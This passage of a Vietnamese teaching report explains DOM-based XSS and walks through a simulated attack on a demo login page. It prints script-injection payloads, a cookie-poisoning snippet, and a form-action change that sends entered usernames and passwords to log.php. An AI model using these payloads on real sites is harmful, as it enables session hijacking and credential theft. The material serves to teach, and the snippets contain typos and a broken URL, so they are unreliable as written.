duyệt của bạn. Bởi vậy, hãy thiết lập tên thông qua URL sau:
http://<your server>/test.html?name=duc
Một khi trang Web được tải xong, người dùng sẽ được đặt tên là duc. Sau thời
điểm này, bất cứ khi nào người dùng truy cập địa chỉ
20


http://<your server>/test.html, ứng dụng Web sẽ kiểm tra và đọc tên người
dùng từ cookie, và sẽ tải nó vào trong ứng dụng.
Bây giờ, ứng dụng của chúng ta có lỗ hổng XSS duy trì dựa trên DOM, một lỗ
hổng nghiêm trọng hơn những lỗ hổng ở các ví dụ trước.
Ví dụ, một kẻ tấn công có thể dễ dàng thay đổi cookie của ứng dụng thông qua
tấn công SCRF (Cross-site request forgery) được thực thi từ một trang Web độc hại
hoặc đơn giản hơn là thông qua URL. Điều gì sẽ xảy ra khi bạn truy cập 1 trang
Web độc hại có chứa đoạn Javascript sau:
var img = new Image();
img.src =
' />name=duc<script>alert("Hacked !!")</script>';
Đoạn Javascript độc hại trên sẽ thiết lập cookie của bạn trở thành
duc<script>alert("Hacked !!")</script>.
Bởi vì các developer không xử lý giá trị tên, một thẻ script đã được tiêm
nhiễm vào ngay trong cookie, nó sẽ là một ứng dụng với backdoor được duy trì. Kể
từ bây giờ, kẻ tấn công có thể làm bất cứ điều gì hắn thích với ứng dụng của bạn ở
một địa chỉ khác, ví dụ (một trang Web giả mạo).
Có điểm rất quan trọng, người dùng cần phải nhớ rằng, các lỗ hổng XSS duy
trì dựa trên DOM không chỉ giới hạn ở cookie. Các đoạn Javascript độc hại có thể
được lưu trữ ở trong các phương tiện lưu trữ trên máy tính cá nhân của các trình
duyệt như Firefox hay Chrome, trong cookie có trình chạy Flash, hoặc ngay trên
URL. Các nhà phát triển Web nên cẩn thận về dữ liệu được lưu trữ và luôn luôn xử

lý, xác thực các giá trị được nhập vào.

21


CHƯƠNG 3. MÔ PHỎNG TẤN CÔNG DOM BASED XSS
3.1. Mô hình tấn công
Kỹ thuật tấn công DOM Based XSS thực hiện qua những bước sau:

Hình 3.1. Mô hình tấn công

3.2. Mô phỏng tấn công
Tạo trang web có giao diện như sau:

Hinh 3.2. Trang web mô phỏng

Ở đây chúng ta sẽ tạo file javas.js là file chứa đoạn mã javascript sẽ thực thi
22


3.2.1.1. Tân công XSS cơ bản
Sau đâu chúng ta sẽ tiến hành tấn công DOM Based XSS. Đầu tiên sẽ xuất
hiện thông báo lên màn hình “HACKER” bằng cách thêm ?
xss=<script>src=”javas.js”</script> vào sau URL.

Hình 3.3. Kết quả tấn công DOM-Based

3.2.1.2. Tấn công thay đổi Tittle
Tiếp theo chúng ta sẽ tấn công thay đổi Title của trang web bằng cách thêm
vào file javas,js lệnh document.title=”Đã thay đổi”. Chúng ta dùng Firebug để

kiểm tra tiểu đề của trang web.

Hình 3.4. Tấn công thay đổi Title

Nội dung Tittle đã thay đổi.
3.2.1.3. Tấn công thay đổi nội dung Heading
Chúng ta sẽ tiến hành thay đổi Heading h1 “Member Login ” thành DOMBASE-XSS. Trong file javasl;js chúng ta thêm đoạn mã:

23


Var h1=document.getElementById(‘header’);
H1.innerHTML = “DOM-BASE-XSS”

Hình 3.5. Tấn công thay đổi Heading

3.2.1.4. Tấn công lấy tài khoản, mật khẩu của người dùng
Chúng ta sẽ tiến hành tạo file log.php để lấy dữ liệu lưu vào file log.txt

Tiến hành thay đổi action form trỏ tới log.php
Var f=document.getElementById(‘formx’);
f.action=”log.php”
Nhập người dùng và mật khẩu và tiến hành xem kết quả lưu trong file log.txt

24


Hình 3.6. Tấn công lấy thông tin tài khoản

25



×